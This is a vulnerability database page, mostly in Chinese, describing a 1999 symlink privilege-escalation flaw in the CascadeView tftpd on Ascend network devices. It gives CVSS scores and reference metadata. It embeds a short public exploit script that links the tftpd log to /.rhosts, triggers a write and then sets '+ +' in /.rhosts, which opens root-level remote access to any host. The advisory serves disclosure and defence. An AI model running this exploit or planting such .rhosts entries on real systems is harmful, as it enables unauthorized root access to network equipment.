发布时间 :1999-12-31 00:00:00
修订时间 :2008-09-10 15:02:19

[原文]CascadeView TFTP server allows local users to gain privileges via a symlink attack.

[CNNVD]CascadeView tftpd权限提升漏洞(CNNVD-199912-151)

        CascadeView TFTP服务器存在漏洞。本地用户通过符号链接攻击来提升权限。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

CascadeView tftpd权限提升漏洞
中危 边界条件错误
1999-12-31 00:00:00 2005-05-02 00:00:00
        CascadeView TFTP服务器存在漏洞。本地用户通过符号链接攻击来提升权限。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at:

- 漏洞信息 (19707)

Ascend CascadeView/UX 1.0 tftpd Symbolic Link Vulnerability (EDBID:19707)
unix local
1999-12-31 Verified
0 Loneguard
N/A [点击下载]

The tftpd bundled with CascadeView for Ascend's B-STDX 8000/9000 network devices creates a log in /tmp called tftpd_xfer_status.log. If /tmp/tftpd_xfer_status.log already exists as a symbolic link, tftpd will follow it and overwrite any data it points to (it runs as root). It is possible for an attacker to link the log file to a file like /.rhosts to compromise elevated privileges on the device. It should be made clear that since this is a network device vulnerability, the consequences of compromise could be much greater to the network the device is on as a whole than if it were a single regular host.

# - Loneguard 07/03/99
# Buggy tftp server shipped with CascadeView B-STDX 8000/9000
rm /tmp/tftpd_xfer_status.log
ln -s /.rhosts /tmp/tftpd_xfer_status.log
echo KungFu > crazymonkey
( sleep 1 ; echo put crazymonkey ; sleep 1 ; echo quit ) | tftp 127.1
echo "+ +" > /.rhosts		

- 漏洞信息

Ascend CascadeView tftpd /tmp/tftpd_xfer_status.log Symlink Arbitrary File Overwrite Privilege Escalation
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1999-12-30 Unknow
1999-12-30 Unknow

- 解决方案


Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete